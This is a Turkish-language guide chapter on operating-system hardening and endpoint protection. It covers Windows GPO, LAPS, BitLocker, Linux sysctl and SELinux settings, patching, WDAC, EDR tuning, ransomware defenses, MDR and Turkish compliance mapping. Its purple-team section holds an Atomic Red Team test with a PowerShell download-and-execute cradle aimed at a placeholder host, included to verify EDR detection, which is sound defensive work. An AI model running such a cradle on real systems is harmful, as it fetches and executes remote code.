İçeriğe geç
🚀 Bu rehber açık kaynaklıdır ve katkılarınıza açıktır! Katkıda bulunmak, hata bildirmek veya öneri sunmak için GitHub Depomuzu ziyaret edin ve Pull Request açın.

İşletim Sistemi Sıkılaştırma (OS Hardening) ve Uç Nokta Koruması (EDR/XDR)

İşletim Sistemi Sıkılaştırma ve Uç Nokta Koruması

Savunma derinliği (Defense in Depth) mimarisinde uç nokta katmanı, modern tehdit modelinde fiilen ilk temas noktasıdır. Phishing ile bir iş istasyonunda makro çalıştırıldığı veya bir geliştiricinin dizüstü bilgisayarında tedarik zinciri saldırısı tetiklendiği anda çevre kontrollerinin tamamı atlanmış olur. CrowdStrike 2026 Global Threat Report, 2025 tespitlerinin %82’sinin dosyasız olduğunu ve saldırganların giderek geçerli kimlik bilgileri ile güvenilir kimlik akışlarını kullandığını belirtmektedir. Bu eğilim, imza tabanlı antivirüsten davranışsal telemetri toplayan EDR/XDR mimarisine geçişi zorunlu kılmaktadır.

Bu bölümde Windows ve Linux sıkılaştırma, yama yönetimi, uygulama beyaz listeleme, EPP → EDR → XDR evrimi, bellek koruma mekanizmaları, EDR tuning, ransomware savunması ve MDR operasyon modeli; MITRE ATT&CK teknik kimlikleri, NIST SP 800-53, CIS Controls v8, ISO 27001:2022 ve Türkiye mevzuatı (KVKK, 5651, BDDK BSEBY, CBDDO BİG Rehberi) çerçevesinde ele alınır.

Savunma derinliği ve uç nokta koruma katmanları Uç nokta katmanında EPP, EDR ve XDR bileşenlerinin savunma derinliği içindeki konumu

flowchart TB
    subgraph Endpoint["Uç Nokta Katmanı"]
        EPP[EPP / Antivirus]
        EDR[EDR Agent]
        HARD[OS Hardening GPO/Intune]
    end
    subgraph Platform["Merkezi Platform"]
        XDR[XDR / SIEM]
        MDR[MDR SOC]
    end
    subgraph Response["Yanıt"]
        SOAR[SOAR Playbook]
        AR[Active Response]
    end
    HARD --> EDR
    EPP --> EDR
    EDR -->|telemetri| XDR
    XDR --> MDR
    MDR --> SOAR
    SOAR --> AR
🖥️ Windows Sıkılaştırma GPO Hızlı Referansı
GPO KategorisiPolitikaÖnerilen değer
UACElevation prompt (standard user)Automatically deny
Credential UIRequire trusted pathEnabled
EnumerationEnumerate local users on domainDisabled
LAPSPassword length / age30+ karakter / 30 gün
BitLockerTPM + startup PINEnabled
ASRBlock Office child processEnabled

Tier modeli: Tier 0 (DC/PKI) → Tier 1 (sunucu) → Tier 2 (iş istasyonu) OU ayrımı zorunlu.


§7.1.1.Windows İşletim Sistemi Sıkılaştırma Mimarisi

Kurumsal Windows ortamlarında sıkılaştırmanın omurgası, Active Directory’ye bağlı Group Policy Objects (GPO) hiyerarşisidir. GPO işleme sırası LSDOU (Local → Site → Domain → OU) mantığıyla çalışır; çakışma durumunda OU seviyesindeki politika baskındır. Pratikte tercih edilen mimari, Microsoft Security Compliance Toolkit baseline’larını Tier 0 / Tier 1 / Tier 2 OU yapısına bağlamak ve sunucu ile iş istasyonu baseline’larını ayrıştırmaktır.

Hibrit ortamlarda Microsoft Intune (MDM) üzerinden Configuration Service Provider (CSP) ile politika dağıtımı, Azure AD/Entra ID’ye katılmış cihazlar için tercih edilmektedir. GPO + Intune birlikte çalışırken çakışma yönetimi için MDMWinsOverGP ayarı belirleyicidir.

Group Policy Objects ile Merkezi Politika Yönetimi

Etkin bir Windows sıkılaştırma stratejisi aşağıdaki GPO kategorilerinin titizlikle yapılandırılmasını gerektirir:

GPO KategorisiKritik PolitikalarGüvenlik Etkisi
Hesap PolitikalarıPasswordComplexity = Enabled, MinimumPasswordLength = 14, LockoutThreshold = 5Kimlik bilgisi dayanıklılığı
Yönetici ŞablonlarıPowerShell betik kısıtlaması, UAC, USB politikalarıSaldırı yüzeyi daraltma
Bileşen PolitikalarıBitLocker, Defender, Olay Günlüğü saklamaVeri-at-rest ve log yönetimi
Denetim PolitikalarıAdvanced Audit Policy (4688, 4624, 4672)SOC/SIEM telemetrisi

Microsoft, Windows 11 ve Windows Server için Security Baselines sunmaktadır. Intune üzerinden “Endpoint security > Security baselines” menüsünden doğrudan dağıtılabilir. Yeni bir baseline üretim ortamına dağıtılmadan önce mutlaka test OU’da pilot edilmelidir.

Terminal window
# Security Compliance Toolkit ile baseline import (özet akış)
# 1. Microsoft Security Compliance Toolkit indir
# 2. GPOMgmt.msc → Import → baseline GPO seç
# 3. Test OU'ya link → CIS-CAT veya SCA ile doğrula
# 4. Üretim OU'larına aşamalı dağıtım

GPO zafiyet istismarı ve sıkılaştırma Yanlış yapılandırılmış GPO’ların saldırı vektörü olarak kullanımı ve sıkılaştırma ile kapatılması

LAPS (Local Administrator Password Solution)

Yerel yönetici parolasının tüm filoda aynı olması, pass-the-hash (T1550.002) ve yatay hareket (TA0008) için en yaygın istismar vektörüdür. Windows LAPS (Nisan 2023 itibarıyla native entegre; Windows 10/11, Server 2019/2022/2025) bu açığı her makineye benzersiz, otomatik rotasyona tabi parola atayarak kapatır.

Mimari akış: LAPS arka plan görevi ile saatte bir aktif politikayı işler. Parola süresi dolduğunda cihaz politika karmaşıklık kurallarına uygun rastgele yeni parola üretir, dizinde (AD veya Entra ID) saklar. Modern LAPS şifrelenmiş parola ve parola geçmişi destekler; DSRM hesabının parolasını da yönetir.

Post-authentication actions: Yardım masası mühendisi LAPS parolasını kullandıktan sonra parola otomatik rotasyona girer. AD-tabanlı erişimde parola okuma yetkisi ACL ile, şifre çözme yetkisi ADPasswordEncryptionPrincipal ayarı ile ayrı kontrol edilir.

Terminal window
# Manuel acil rotasyon (yönetilen cihaz üzerinde)
Reset-LapsPassword
# AD'den parola okuma (yetkili IT admin)
Get-LapsADPassword -Identity "WIN-SRV01" -AsPlainText
# Felaket senaryosu: mounted backup DB'den kurtarma
Get-LapsADPassword -Identity "WIN-SRV01" -Port 50000 -RecoveryMode
LAPS ParametresiÖnerilen DeğerGerekçe
Parola karmaşıklığıEn üst seviye (büyük/küçük/sayı/özel)Brute-force direnci
Parola uzunluğuMinimum 30 karakterNTLM hash kırılma maliyeti
Parola yaşı30 gün (kurumsal politika)Rotasyon frekansı
Yedekleme diziniAD veya Entra IDMerkezi escrow

LAPS mimarisi ve yatay hareket engelleme LAPS ile yerel yönetici parolası rotasyonu ve pass-the-hash riskinin azaltılması

BitLocker Disk Şifreleme

BitLocker, veri-at-rest korumasını simetrik şifreleme (varsayılan AES-128, XTS modu) ile sağlar. Veri VMK (Volume Master Key) ile şifrelenir; VMK TPM’den çıkarma, PIN/parola veya kurtarma anahtarı ile korunabilir.

TPM entegrasyonunun temeli PCR (Platform Configuration Register) registerlarına dayanır. Boot sırasında her bileşen (UEFI firmware, boot manager, OS loader) ölçülerek PCR’lara yazılır. TPM yalnızca PCR durumu beklenen değerlerle eşleştiğinde VMK’yı serbest bırakır. PCR 7 Secure Boot durumunu, PCR 4 boot manager digest’ini temsil eder.

Kurumsal anahtar yönetimi için kurtarma anahtarları AD DS’e (msFVE-RecoveryInformation) veya Entra ID’ye escrow edilir:

GPO: Computer Configuration > Administrative Templates > Windows Components >
BitLocker Drive Encryption > Operating System Drives
- "Require additional authentication at startup" = Enabled
- "Configure TPM startup PIN" = Require startup PIN with TPM
- "Store BitLocker recovery information in AD DS" = Enabled
Terminal window
manage-bde -protectors -adbackup C: -id {6CEF9111-61C2-4A09-84E1-2C0F0AAD60D2}

KVKK eşlemesi: Disk şifreleme, KVKK Kişisel Veri Güvenliği Rehberi’nin “Şifreleme” teknik tedbiri kapsamındadır. BDDK BSEBY md. 16, personele tahsis edilen hassas veri içeren cihazların şifrelenmesini açıkça zorunlu kılar.

Gelişmiş Windows Güvenlik Özellikleri

Virtualization-Based Security (VBS) ve Credential Guard: NTLM hash’leri ve Kerberos biletlerini sanallaştırma tabanlı güvenlik ile izole eder. UEFI, Secure Boot ve uyumlu işlemci gerektirir.

Attack Surface Reduction (ASR) Kuralları: Office makrolarından betik çalıştırma, e-posta eklerinden yürütme, credential theft koruması gibi saldırganların sık kullandığı teknikleri engeller.

Memory Integrity (HVCI): Sürücülerin kernel’da imzalı çalışmasını zorlar; BYOVD saldırılarına karşı kritik katmandır.


§7.1.2.Linux İşletim Sistemi Sıkılaştırma Mimarisi

Linux çekirdek parametreleri /proc/sys/ altında runtime’da, kalıcı olarak /etc/sysctl.d/*.conf drop-in dosyalarıyla yönetilir. CIS Benchmark Level 1 ile uyumlu temel ağ/çekirdek sıkılaştırması:

/etc/sysctl.d/60-cis-hardening.conf
net.ipv4.conf.all.rp_filter = 1
net.ipv4.conf.default.rp_filter = 1
net.ipv4.conf.all.accept_redirects = 0
net.ipv4.conf.all.send_redirects = 0
net.ipv6.conf.all.accept_redirects = 0
net.ipv4.conf.all.accept_source_route = 0
net.ipv4.ip_forward = 0
net.ipv4.tcp_syncookies = 1
net.ipv4.icmp_echo_ignore_broadcasts = 1
net.ipv4.icmp_ignore_bogus_error_responses = 1
net.ipv4.conf.all.log_martians = 1
kernel.randomize_va_space = 2
kernel.kptr_restrict = 2
kernel.dmesg_restrict = 1
kernel.sysrq = 0
fs.protected_symlinks = 1
fs.protected_hardlinks = 1
Terminal window
sudo sysctl --system
sysctl net.ipv4.conf.all.rp_filter

SELinux ve AppArmor: MAC Mimarileri

Standart Linux izinleri DAC (Discretionary Access Control)‘tur — dosya sahibi izinleri değiştirebilir. MAC (Mandatory Access Control) root dahi olsa süreçleri sistem genelinde kurallarla kısıtlar.

ÖzellikSELinuxAppArmor
ModelEtiket/context tabanlıYol (path) tabanlı
Varsayılan dağıtımRHEL, Fedora, RockyUbuntu, Debian, SUSE
Modlarenforcing / permissive / disabledenforce / complain
YapılandırmaKarmaşık, granülerBasit, düz metin
Log konumu/var/log/audit/audit.log (AVC)/var/log/syslog
Terminal window
# SELinux
sestatus
setenforce 0 # geçici permissive (debug)
grep "AVC" /var/log/audit/audit.log | tail
audit2allow -a -M mymodule && semodule -i mymodule.pp
# AppArmor
aa-status
aa-complain /usr/sbin/nginx
aa-genprof /path/to/executable
aa-enforce /usr/sbin/nginx

SSH güvenliği: PermitRootLogin no, şifre yerine anahtar tabanlı doğrulama, AllowUsers/AllowGroups ile erişim kısıtlaması.

Gereksiz servislerin kapatılması:

Terminal window
systemctl list-units --type=service --state=running
systemctl disable <service_name> --now

§7.1.3.Yama Yönetimi (Patch Management) Mimarisi

Yama yönetimi, envanter + önceliklendirme + aşamalı dağıtım + doğrulama döngüsüdür. CIS Controls v8 Control 7 (Continuous Vulnerability Management) ve Control 2 (Inventory) bu döngünün temelini oluşturur.

Yama yönetimi yaşam döngüsü Zafiyet tespiti, önceliklendirme, test, dağıtım ve doğrulama döngüsü

Windows tarafı:

AraçKullanım SenaryosuÖzellik
WSUSOn-prem, bant genişliği tasarrufuMicrosoft Update’ten çek, dahili dağıt
SCCM/MECMKurumsal ölçekCollection bazlı hedefleme, maintenance window
IntuneBulut-nativeWindows Update for Business deployment rings

Linux tarafı: dnf-automatic / unattended-upgrades; Ansible/Satellite/Landscape ile filo yönetimi.

Önceliklendirme: Yamalar yalnızca CVSS skoruna göre değil, EPSS ve CISA KEV katalogu ile birlikte önceliklendirilmelidir. KEV’de yer alan CVSS 9.0+ zafiyetler “acil” kategorisine alınır; SLA 72 saat altına indirilmelidir.

Aşamalı dağıtım: Pilot ring (%1–5 IT/test) → geniş ring (%25) → üretim. Bu, sorunlu güncellemelerin tüm filoyu kilitlemesini önler.


§7.1.4.Uygulama Beyaz Listeye Alma (Application Whitelisting)

Beyaz listeleme, “kötü olanı engelle” modelini tersine çevirip “yalnızca onaylananı çalıştır” (allowlist) modeline geçer. NIST SP 800-167 bu yaklaşımın referans dokümanıdır.

ÖzellikAppLockerWDAC
TanıtımWindows 8Windows 10 / Server 2016
Çalışma moduKullanıcı moduKernel + kullanıcı modu
Kernel-mode driver kontrolüYokVar
KapsamPer-userPer-device
Dosya tanımlamaSertifika subject nameSertifika thumbprint
Hata riskiYanlış kural → bazı süreçler çalışmazYanlış kural → boot olmayabilir

WDAC XML şeması (SiPolicy.xsd) ile tanımlanır: PolicyInfo, Rules, Signers, FileRules, SigningScenarios. Üç şablon: Default Windows Mode, Allow Microsoft Mode, Signed and Reputable Mode.

WDAC olayları CodeIntegrity/Operational günlüğüne yazılır: Event ID 3076 (audit), 3077 (enforcement bloğu), 3089 (politika aktivasyonu).

Terminal window
# WDAC audit modunda başlatma (önerilen geçiş)
# 1. SiPolicy.p7b oluştur → audit mode
# 2. CodeIntegrity/Operational loglarını 30 gün incele
# 3. Publisher tabanlı kurallar ekle (hash yerine)
# 4. Enforcement'a geç

Linux tarafı — fapolicyd: RHEL’de RPM DB dışındaki binary’lerin çalıştırılmasını engeller.


§7.1.5.EPP → EDR → XDR Mimari Evrimi

Üç katmanı sistem mimarı gözüyle ayırt etmek gerekir:

KatmanOdakTespit YöntemiYanıt
EPPÖnlemeİmza + NGAV/MLKarantina
EDRTespit + müdahaleDavranışsal IOA, ETW/eBPFHost izolasyonu, timeline
XDRKorelasyonEndpoint + ağ + kimlik + bulutSOAR orchestration
  • EPP (Endpoint Protection Platform): İmza tabanlı AV + NGAV + firewall + şifreleme. “Bilinen kötüyü çalışmadan engelle.”
  • EDR (Endpoint Detection and Response): Sürekli telemetri, MITRE ATT&CK korelasyonu, post-compromise aksiyonlar. “Reaktif, telemetri-zengin.”
  • XDR (Extended Detection and Response): Uç nokta + ağ + bulut + e-posta + kimlik telemetrisini tek korelasyon motorunda birleştirir.

Managed Detection and Response mimarisi EDR/XDR veri akışı: agent telemetrisi → korelasyon motoru → SOC/SIEM dashboard

Veri akışı örneği: Bir makinede LSASS’tan kimlik bilgisi dump edilir (T1003.001), aynı kimlik başka makineye login için kullanılır — XDR merkezi korelasyon motoru bu noktaları birleştirip saldırı zincirinin grafik gösterimini sunar.

Geçiş adımları:

  1. Mevcut EPP kapsamını envanterle (CIS Control 1-2)
  2. Yüksek riskli uç noktalarda EDR pilotu
  3. False positive tuning (rule whitelist + ML feedback)
  4. SOC playbook entegrasyonu (isolation, evidence collection)
  5. SIEM/SOAR korelasyonu

§7.1.6.Davranışsal Analiz ve Bellek Koruma Teknikleri

Modern EPP/EDR, imzaya ek olarak bellek koruma mekanizmalarını yönetir:

MekanizmaİşlevSaldırı Etkisi
DEP (NX bit)Veri sayfalarında kod çalıştırmayı engellerBuffer overflow shellcode
ASLRBellek adreslerini rastgeleleştirirROP/return-to-libc
CFGDolaylı çağrı bütünlüğüROP/JOP
ACGDinamik kod üretimini engellerJIT shellcode
HVCIKernel sürücü imza zorunluluğuBYOVD
Terminal window
Get-ProcessMitigation -System
Set-ProcessMitigation -System -Enable DEP,SEHOP,ForceRelocateImages,BottomUp,HighEntropy
bcdedit /set nx AlwaysOn

AMSI (Antimalware Scan Interface): PowerShell, VBScript, JScript için bellek içi tarama.

EDR davranışsal tespit (MITRE odaklı): T1055 Process Injection, T1562 Impair Defenses. EDR’ler parent-child anomalileri, şüpheli bellek allocation’ları (VirtualAlloc + WriteProcessMemory), LSASS erişimi + network outbound korelasyonu ile tespit eder.

Linux: eBPF tabanlı observability (Falco, Tracee, Wazuh syscall monitoring), seccomp filtreleri.

Gerçekçi saldırı-savunma senaryosu: Saldırgan spear-phishing ile ilk erişim alır (T1566), PowerShell ile C2 kurar (T1059.001), lsass.exe içine enjekte olur (T1055.001) ve credential dumping yapar (T1003.001). WDAC + LAPS + Constrained Language Mode execution yüzeyini daraltır; EDR “lsass.exe → şüpheli remote thread + network connection” ile yüksek skorlu alert üretir ve otomatik host izolasyonu tetikler.

SOC Entegrasyonu ve Telemetri Pipeline

EDR/XDR, SIEM’e alarm + ham telemetri besler; SOAR ile otomatik müdahale (containment) tetiklenir. Windows Event Forwarding (WEF) veya Wazuh agent ile merkezi toplama önerilir:

<!-- Windows Event Collector subscription (özet) -->
<Subscription xmlns="http://schemas.microsoft.com/2006/03/windows/events/subscription">
<Query>
<Select Path="Security">*[System[(EventID=4688)]]</Select>
<Select Path="Microsoft-Windows-PowerShell/Operational">*[System[(EventID=4104)]]</Select>
<Select Path="Microsoft-Windows-Sysmon/Operational">*[System[(EventID=1 or EventID=10)]]</Select>
</Query>
</Subscription>

MITRE ATT&CK Evaluations ve AV-Comparatives raporları, vendor iddialarına bağlı kalmadan bağımsız değerlendirme sağlar. Red Team tatbikatları ile kontrollerin etkinliği periyodik doğrulanmalıdır.


§7.1.7.Somut Araçlar: Wazuh, CrowdStrike, Defender, SentinelOne

Wazuh (Açık Kaynak XDR/SIEM)

Dört bileşenli dağıtık mimari: agent, server/manager, indexer (OpenSearch), dashboard. Agent modülleri: Log collector, FIM, SCA (CIS Benchmark), System inventory, Malware detection, Active Response.

<!-- Wazuh Active Response: SSH brute-force IP bloklama -->
<command>
<name>firewall-drop</name>
<executable>firewall-drop</executable>
<timeout_allowed>yes</timeout_allowed>
</command>
<active-response>
<command>firewall-drop</command>
<location>local</location>
<rules_id>5710,5711</rules_id>
<timeout>600</timeout>
</active-response>

Veri akışı: agent → server (1514/TCP) → analiz → indexer (9200) → dashboard (55000). MITRE ATT&CK ve PCI DSS/HIPAA/GDPR/NIST 800-53 uyum eşlemeleri hazır gelir.

Ticari EDR Çözümleri

ÇözümGüçlü YönEntegrasyon
CrowdStrike FalconBulut-native, hafif agent, Threat GraphSIEM, SOAR
Microsoft Defender for EndpointWindows entegre, ASR, KQL Advanced HuntingIntune, WDAC, Sentinel
SentinelOneEPP+EDR tek agent, Storyline, ransomware rollbackXDR korelasyon

§7.1.8.EDR Tuning ve False Positive Yönetimi

EDR dağıtımının en kritik operasyonel aşaması tuning (ayarlama) sürecidir. Agresif politika, meşru iş süreçlerini engelleyerek alarm yorgunluğu yaratır; gevşek politika ise gerçek tehditleri kaçırır. NIST SP 800-53 SI-4 (System Monitoring) ve CIS Controls v8 Control 13.2 (Deploy a Host-Based IDS), EDR’ın yalnızca kurulması değil sürekli optimize edilmesini gerektirir.

Tuning Yaşam Döngüsü

FazSüreEylemlerÇıktı
1. Audit Mode2–4 haftaTüm kurallar izleme modunda; engelleme kapalıBaseline telemetri
2. Envanter1 haftaMeşru uygulama, script, admin araçları listesiAllowlist taslağı
3. Whitelist2 haftaFalse positive kaynaklarına istisnaFP oranı <%5 hedef
4. EnforcementKademeliKritik kurallar önce block; düşük risk izlemeÜretim politikası
5. Sürekli İyileştirmeAylıkPurple team, yeni yazılım, yama sonrası gözden geçirmeTuning raporu

False Positive Azaltma Stratejileri

1. Parent-Child İlişkisi Filtreleme: services.exe → svchost.exe meşru; winword.exe → powershell.exe -enc anormal. EDR kurallarında parent process allowlist tanımlanmalıdır.

2. Yol ve Publisher Bazlı İstisnalar: Kurumsal uygulamaların kurulum dizinleri (C:\Program Files\CorpApp\) ve imzalayan sertifika thumbprint’leri allowlist’e eklenir. Hash bazlı istisna yerine publisher tercih edilir; yama sonrası hash değişse bile kural geçerliliğini korur.

3. Davranış Skoru Eşikleri: Tek bir düşük güvenilirlik göstergesi alarm üretmemeli; çoklu sinyal birleşimi (ör. LSASS erişimi + network outbound + yeni oturum) yüksek skorlu olay tetiklemelidir.

4. Exclusion Scope Daraltma: Global exclusion yerine OU/hostname/tag bazlı kısıtlı istisna uygulanır. Geliştirici makineleri ile finans iş istasyonları aynı EDR politikasına tabi olmamalıdır.

Terminal window
# Microsoft Defender for Endpoint — örnek exclusion (dar kapsam)
Add-MpPreference -ExclusionPath "C:\CorpApp\BuildAgent\bin"
Add-MpPreference -ExclusionProcess "CorpBuildTool.exe"
# DİKKAT: Geniş exclusion (C:\Users\) asla uygulanmamalı

Tuning Metrikleri ve SLA

MetrikHedefÖlçüm Yöntemi
False Positive Oranı< %5 (kritik kurallar)SOC ticket analizi
Mean Time to Detect (MTTD)< 15 dk (Tier-0)SIEM incident timestamp
Mean Time to Respond (MTTR)< 1 saat (izolasyon)SOAR playbook süresi
MITRE Kapsama> %80 (kritik teknikler)ATT&CK coverage matrix
Agent Sağlığı> %99 filoEDR console health dashboard

Purple Team ile Doğrulama

Atomic Red Team veya MITRE ATT&CK Evaluations senaryoları, tuning sonrası tespit kapsamını doğrular:

# Atomic Red Team — T1059.001 PowerShell testi
attack_technique: T1059.001
executor:
name: powershell
command: |
IEX (New-Object Net.WebClient).DownloadString('http://test.local/payload.ps1')
expected_detection:
- EventID: 4104
- EDR_alert: "Suspicious PowerShell"
- action: block_or_alert

Her başarısız tespit, tuning backlog’una eklenir; her false positive, allowlist gözden geçirmesine girer.


§7.1.9.Uç Nokta Ransomware Savunması

Fidye yazılımı, uç nokta katmanında T1486 (Data Encrypted for Impact) ve T1490 (Inhibit System Recovery) teknikleriyle gerçekleşir. §5.4’teki immutable yedekleme katmanı son çare hattıdır; uç noktada saldırıyı erken aşamada durdurmak operasyonel maliyeti dramatik biçimde düşürür.

Ransomware Saldırı Zinciri ve Savunma Noktaları

[Initial Access: T1566 Phishing / T1190 Exploit]
[Execution: T1059 PowerShell / T1204 User Execution]
│ ← ASR kuralları, WDAC, AMSI
[Discovery: T1083 File Discovery / T1018 Remote System Discovery]
│ ← EDR davranışsal tespit
[Lateral Movement: T1021 SMB/RDP]
│ ← LAPS, tiered admin, micro-segmentation
[Impact Prep: T1490 VSS/shadow delete / backup stop]
│ ← Sysmon T1490 kuralları, EDR block
[Impact: T1486 Mass encryption]
│ ← EDR ransomware protection, canary files
[Extortion: RaaS portal / double extortion]

Katmanlı Ransomware Kontrolleri

KatmanKontrolMITRE KarşılıkAraç
ÖnlemeASR: Office makro engellemeT1204.002Defender ASR
ÖnlemeWDAC/AppLocker allowlistT1218 LOLBASCode Integrity
TespitVSS/shadow copy silme izlemeT1490Sysmon + Wazuh
TespitYüksek hızlı dosya şifrelemeT1486EDR ML/behavioral
MüdahaleOtomatik host izolasyonuEDR/SOAR
KurtarmaRansomware rollback (snapshot)T1486SentinelOne vb.
KurtarmaImmutable yedek restoreT1490§5.4 mimarisi

Microsoft Defender Ransomware Koruması

Terminal window
# ASR kuralları — ransomware önleme profili
Add-MpPreference -AttackSurfaceReductionRules_Ids 75668C1F-73B1-4CF0-BF93-3D7F0B6E9C45 -AttackSurfaceReductionRules_Actions Enabled
# Block Office makrolarının Win32 API çağrısı yapması
Add-MpPreference -AttackSurfaceReductionRules_Ids D4F940AB-401B-4EFC-AADC-AD5F3C50688A -AttackSurfaceReductionRules_Actions Enabled
# Block Office uygulamalarının child process oluşturması
Add-MpPreference -AttackSurfaceReductionRules_Ids 92E97FA1-2EDF-4476-BDD6-6DD0E4EABE8A -AttackSurfaceReductionRules_Actions Enabled
# Block Win32 API calls from Office macros

Canary Dosya ve Erken Uyarı

Kritik dizinlere (ör. C:\Users\Public\Documents\) bilinçli olarak canary dosyalar yerleştirilir. Ransomware bu dosyaları şifrelemeye başladığında EDR veya FIM (Wazuh) anında alarm üretir — toplu şifreleme başlamadan önce müdahale penceresi açılır.

<!-- Wazuh FIM — canary dosya izleme -->
<syscheck>
<directories realtime="yes" report_changes="yes">C:\CanaryFiles</directories>
</syscheck>

Wazuh özel kural:

<rule id="100550" level="15">
<if_sid>550</if_sid>
<field name="file">(?i)canary</field>
<description>CRITICAL: Ransomware canary dosyasi degistirildi — T1486</description>
<mitre><id>T1486</id></mitre>
</rule>

BDDK ve KVKK Perspektifi

BDDK siber olay bildirimi ve 24 saat süreklilik gereksinimleri, ransomware senaryosunda uç nokta tespit hızını doğrudan etkiler. KVKK Madde 12(5) kapsamında kişisel veri şifrelenmişse veri ihlali bildirimi gerekir; erken tespit ve izolasyon, etkilenen kayıt sayısını minimize ederek bildirim kapsamını daraltır.


§7.1.10.MDR (Managed Detection and Response)

Kurumların önemli bir kısmı 7/24 SOC kapasitesine, yeterli analist sayısına veya tehdit avcılığı (threat hunting) yetkinliğine sahip değildir. MDR (Managed Detection and Response), EDR/XDR telemetrisini üçüncü taraf veya MSSP (Managed Security Service Provider) üzerinden 7/24 izleyen, olayları triyaj eden ve müdahale eden hizmet modelidir.

MDR vs MSSP vs SOC-as-a-Service

ModelKapsamKurum SorumluluğuTipik SLA
MSSP (geleneksel)Log toplama + temel alarmOlay müdahale kuruma ait8×5 veya 24×7 NOC
MDREDR telemetri + tehdit avcılığı + müdahaleStrateji ve onay24×7, MTTD <30 dk
SOC-as-a-ServiceSIEM + EDR + ağ + bulut korelasyonuTam yönetimli veya hibrit24×7, tiered response
Dahili SOCTüm katmanlar kurum içiTam sorumlulukKuruma özel

MDR Hizmet Bileşenleri

  1. Telemetri Toplama: EDR agent, Sysmon, Windows Event Forwarding, ağ flow
  2. Tehdit İstihbaratı: STIX/TAXII feed, MISP, vendor threat graph
  3. Korelasyon ve Triyaj: Analyst tiering (L1/L2/L3), false positive filtreleme
  4. Müdahale (Response): Host izolasyonu, süreç sonlandırma, dosya karantina, credential reset
  5. Raporlama: Aylık tehdit raporu, MITRE kapsama, KVKK/BDDK uyum kanıtı

MDR Seçim Kriterleri

KriterDeğerlendirme SorularıReferans
MITRE ATT&CK kapsamaHangi teknikler tespit ediliyor? Evaluations sonucu?MITRE Evaluations
Yanıt yetkisiOtomatik izolasyon var mı? Onay süreci?SLA dokümanı
Veri yerleşimiTelemetri Türkiye/yurt içi mi? KVKK uyumu?KVKK m.9 aktarım
EntegrasyonMevcut SIEM/SOAR ile API entegrasyonu?Teknik POC
ŞeffaflıkHam telemetriye erişim? Kural tuning yetkisi?Sözleşme maddesi
Olay müdahaleIR retainer dahil mi? Forensics desteği?NIST SP 800-61

Hibrit MDR Mimarisi

Çoğu Fortune 500 kurumu hibrit model tercih eder: Tier-0/Tier-1 varlıklar dahili SOC; geniş filo ve uzak şubeler MDR sağlayıcısı üzerinden izlenir.

┌─────────────────────────────────────────────────────────────┐
│ KURUMSAL SOC (Dahili) │
│ Tier-0: AD, PKI, Core Banking │ SIEM + SOAR + Playbook │
├─────────────────────────────────────────────────────────────┤
│ MDR SAĞLAYICI (MSSP) │
│ Geniş filo (10.000+ endpoint) │ 24×7 triyaj + izolasyon │
│ Threat hunting (haftalık) │ IOC geri besleme → MISP │
├─────────────────────────────────────────────────────────────┤
│ ORTAK PLATFORM │
│ EDR Console │ SIEM (Wazuh/Splunk) │ TheHive/MISP │ SOAR │
└─────────────────────────────────────────────────────────────┘

MDR Olay Müdahale Akışı

AdımMDR AksiyonuKurum AksiyonuSüre
1. TespitEDR yüksek skorlu alarm0–5 dk
2. TriyajL1 analist doğrulamaBilgilendirme (P3/P2)5–15 dk
3. KontrolHost izolasyonu (otomatik/onaylı)Onay (Tier-0 için)15–30 dk
4. AnalizL2/L3 kök neden, IOC çıkarımıIR ekibi devreye30 dk–4 saat
5. TemizlikKarantina, persistence silmeEradication onayı4–24 saat
6. RaporOlay raporu + MITRE haritasıKVKK/BDDK bildirim değerlendirmesi24–72 saat

§7.1.11.Türkiye Mevzuatı ve Uyum Eşlemesi

KontrolKVKKCBDDO BİGRBDDK BSEBYCIS v8NIST 800-53
Anti-malware/EDRRehber (antivirüs)3.1.5.1/3.1.5.4Md. 16Control 10SI-3
Application allowlistingDefault-denyMd. 16/(2)Control 2CM-7(5)
Yama yönetimiRehber3.1.3.3Yama süreciControl 7SI-2
Log yönetimiLog kayıtları3.1.5.6Md. 13 (5 yıl)Control 8AU-2/AU-6
Disk şifrelemeŞifreleme tedbiriSıkılaştırmaMd. 16Control 3SC-28

KVKK ihlal bildirimi: Kurul Kararı 2019/10, ihlalin öğrenilmesinden itibaren en geç 72 saat içinde bildirimi somutlaştırır. EDR/XDR’ın hızlı tespit kabiliyeti bu yükümlülük için operasyonel olarak kritiktir.

5651: Yer sağlayıcı 1–2 yıl, erişim sağlayıcı 6 ay–2 yıl log saklama; WORM storage ve log bütünlük imzalama mimari girdisidir.


Özet ve Mimari Tavsiyeler

Uç nokta güvenliği artık pasif “son hat” değil, telemetrinin doğduğu ve saldırı zincirinin en erken kırılabileceği aktif katmandır. Sistem mimarı için temel çıkarımlar:

  1. Önleme → Tespit → Müdahale kademelemesi: Önce EPP/sıkılaştırma (GPO, LAPS, BitLocker, WDAC) ile yüzeyi daralt; sonra EDR ekle; korele edilecek katmanlar olduğunda XDR’a geç. Pilot ring’de 30 gün audit modu temiz çıktığında enforcement’a geç.

  2. EDR tuning sürekli süreçtir: Dağıtım sonrası false positive yönetimi, publisher bazlı allowlist ve purple team doğrulaması olmadan EDR yatırımı tam kapasiteye ulaşamaz. FP oranı %5 altında tutulmalıdır.

  3. Ransomware çok katmanlı savunma gerektirir: ASR kuralları, canary dosyalar, T1490/T1486 SIEM kuralları ve §5.4 immutable yedekleme birlikte uygulanmalıdır. Uç noktada erken tespit, ödeme yapmadan kurtarma şansını artırır.

  4. MDR kapasite boşluğunu kapatır: 7/24 SOC yetkinliği olmayan kurumlar için MDR hibrit model (dahili Tier-0 + MSSP geniş filo) önerilir. KVKK veri işleme sözleşmesi ve MITRE kapsama değerlendirmesi seçim kriteridir.

  5. Davranışsal telemetri zorunluluğu: Polimorfik ve dosyasız tehditler karşısında imza tek başına yetersizdir. Sysmon + PowerShell Script Block Logging (4104) + EDR davranışsal kuralları minimum tabandır.

  6. Mevzuat-mimari hizalaması: Log saklama süreleri (5651, BDDK 5 yıl), 72 saatlik KVKK bildirimi ve CBDDO merkezi log gereksinimleri mimari tasarım girdisi olarak en baştan ele alınmalıdır.

  7. Red Team doğrulama: Atomic Red Team ile tespit kurallarını doğrula; MITRE ATT&CK kapsama ölçümü yap.

Uygulama kontrol listesi:

  • CIS Benchmarks + Microsoft Security Baselines GPO/Intune dağıtımı
  • LAPS + BitLocker zorunlu hale getirilmesi
  • WDAC audit → enforce geçişi
  • Linux sysctl + SELinux/AppArmor enforcing + SCA
  • Merkezi yama yönetimi + EPSS/KEV önceliklendirme
